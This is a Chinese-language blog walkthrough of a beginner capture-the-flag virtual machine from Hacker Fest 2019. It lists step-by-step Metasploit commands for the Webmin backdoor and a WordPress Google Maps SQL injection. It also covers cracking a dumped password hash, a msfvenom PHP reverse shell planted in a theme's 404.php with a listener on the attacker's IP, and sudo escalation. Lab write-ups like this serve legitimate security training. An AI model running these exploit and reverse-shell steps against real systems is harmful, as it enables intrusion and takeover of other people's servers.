靶機地址
難度:初級+1
靶機描述:
The machine was part of my workshop for Hacker Fest 2019 at Prague.
Difficulty level of this VM is very“very easy”
. There aretwo paths for exploit it
.
There areno intentional rabbit holes
.
Through a vulnerable “[retracted]”. Exploit is part of MSF.
Through vulnerable “[retracted]”.
Can be found by “[retracted]”.
There is a “[retracted]” injection (exploit is part of MSF).
Recovered credentials (username + hash) can be cracked byJohn
androckyou.txt
wordlist.
Low priv shell can be gained through MSF exploit or trying the credentials against “[retracted]”.
Priv. esc. is simply done by “[retracted]”.
博客中如有任何問題,懇請批評指正,萬分感謝。個人郵箱:
[email protected]
工具、知識點和漏洞
netdiscover
nmap
wpscan
john
metaspaloit
msfvenom
webmin_backdoor漏洞
wp_google_maps_sqli漏洞
0x00、信息收集
靶機IP:192.168.0.110
netdiscover -r 192.168.0.0/24
端口和服務
nmap -sS -sV -T4 -A -p- 192.168.0.110
頁面、目錄枚舉
dirb http://192.168.0.110 -X .php,.txt,.zip,.html
匿名登錄訪問ftp,發現一堆wordpress的源代碼,這個靶機應該是不可能進行代碼審計的,這個ftp的匿名用戶訪問應該是個煙霧彈。前面nmap掃描的時候發現有webmin,版本是1.890
0x01、第一種方式:Webmin
根據靶機描述裏面的提示,使用MSF(metasploit framework)搜索Webmin
msfconsole
search webmin
Rank爲excellent的exploit有以下四個:
- exploit/linux/http/webmin_packageup_rce
- exploit/unix/webapp/webmin_backdoor
- exploit/unix/webapp/webmin_show_cgi_exec
- exploit/unix/webapp/webmin_upload_exec
webmin_packageup_rce的設置參數必須提供Webmin的賬戶密碼,排除使用該exp。
webmin_backdoor的設置參數對於這個靶機而言我們只需要設置靶機IP和攻擊機IP,於是選擇使用它。結果第一次失敗了,原因是該靶機的Webmin使用了SSL,而exploit中對應的默認參數是沒有啓用SSL/TSL的,需要我們重新設置。
nmap掃描的結果中已經提示該靶機的Webmin啓用了SSL
msfconsole
use exploit/unix/webapp/webmin_backdoor
show options
set rhosts 192.168.0.110
set lhost 192.168.0.108
set ssl true
exploit # 或者run
0x02、第二種方式:WordPress
使用wpscan掃描網站
掃描的時候提示我沒有WPVulnDB API Token,一時之間有點懵,wpscan用了也不是一次兩次了,之前從來沒有出現過這種提示。根據提示到https://wpvulndb.com/users/sign_up註冊一個賬號。
註冊賬號的過程中需要進行
人機驗證
,所以你懂的……請備好Tizi
得到WPVulnDB API Token後就可以愉快的使用wpscan了,使用方式只是多了一個參數--api-token
的設置
wpscan --url http://192.168.0.110 -e vp,vt,u --api-token APIKEY
需要把上面的APIKEY換成你自己api key
使用MSF搜索漏洞利用方式,找到auxiliary/admin/http/wp_google_maps_sqli
msfconsole
search wp_google_maps
use auxiliary/admin/http/wp_google_maps_sqli
show options
set rhosts 192.168.0.110
run
使用john爆破$P$BsqOdiLTcye6AS1ofreys4GzRlRvSr1
,字典使用rockyou.txt
關於破解工具和字典的選擇,靶機描述裏已經給過提示了。
rockyou.txt
是kali
自帶的密碼字典,如果是初次使用,則需要先到/usr/share/wordlist
目錄將rockyou.txt.gz
解壓
如果你也用echo將hash值保存到文件中,需要注意的是別用雙引號。因爲echo會將$開頭的字符串當作變量去執行,而變量又沒有賦值,那麼寫入到文件後就沒有內容了。
getshell方式一:theme頁面反彈shell代碼
使用webmaster/kittykat1
登錄管理後臺
進入後臺之後有點懵圈,因爲語言是捷克語,突然找不到theme在哪了……然而機智的我發現了下面的套路
在404.php頁面中寫入反彈shell的代碼
第一步,使用ifconfig命令查看kali的IP:192.168.0.110
第二步,msfvenom生成webshell代碼,並保存到主題中的php文件中
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=1234 R
!!!
注意:使用時需要去掉最開頭的兩個字符/*
,不然瀏覽器訪問反彈shell的php網頁會看到/*
,並且無法反彈shell. 如下圖所示:
第四步,做好msfconsole接收shell的準備
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 1234
run
第五步,訪問含有反彈shell代碼的php頁面http://192.168.0.110/wp-content/themes/twentyseventeen/404.php
某個theme下的php頁面的url組成一般爲http://ip地址/
wp-content
/主題名稱全小寫字母/php頁面。例如,我這裏的theme名稱爲Twenty Seventeen
,對應到url上就是twentyseventeen
下面我先給出第二種getshell的方式,之後再給出提權的過程。
getshell方式二:使用MSF
msfconsole
grep shell search wordpress
use exploit/unix/webapp/wp_admin_shell_upload
show options
set password kittykat1
set username webmaster
set rhosts 192.168.0.110
run
0x03、提權
之前我們獲得了WordPress後臺的webmaster賬戶密碼,所以嘗試使用這個賬戶密碼登錄一下SSH,沒準系統裏面就有這麼個用戶呢?
cat /etc/passwd | grep webmaster
執行上述命令後,發現確實存在系統用戶webmaster
嘗試SSH登錄
如果你遇到下面的問題,只需要根據紅框中的提示把對應的key刪除即可,我是直接把文件中的所有內容清空了。
查看當前用戶能夠執行的sudo權限的命令,發現是ALL,立馬使用sudo su root
,切換到root賬戶
sudo命令可以執行一次root權限的命令,但有兩個條件:一是需要
知道當前用戶的密碼
;二是/etc/sudoers
文件中允許了當前用戶使用sudo命令。
或者,使用sudo bash
0x04、後記
在查找SUID權限命令的過程中發現了/usr/sbin/exim4,查了一下版本是4.89
關於exim4,在4.87-4.91版本有一個本地提權漏洞,MSF中相應的exploit,然後嘗試利用了一下,結果沒能成功,可能的原因是靶機沒有開啓25端口。
如果您有其他的方法,歡迎留言。若文中有任何錯誤,懇請批評指正。如果您覺得這篇博客寫的還不錯,也歡迎分享給身邊的人。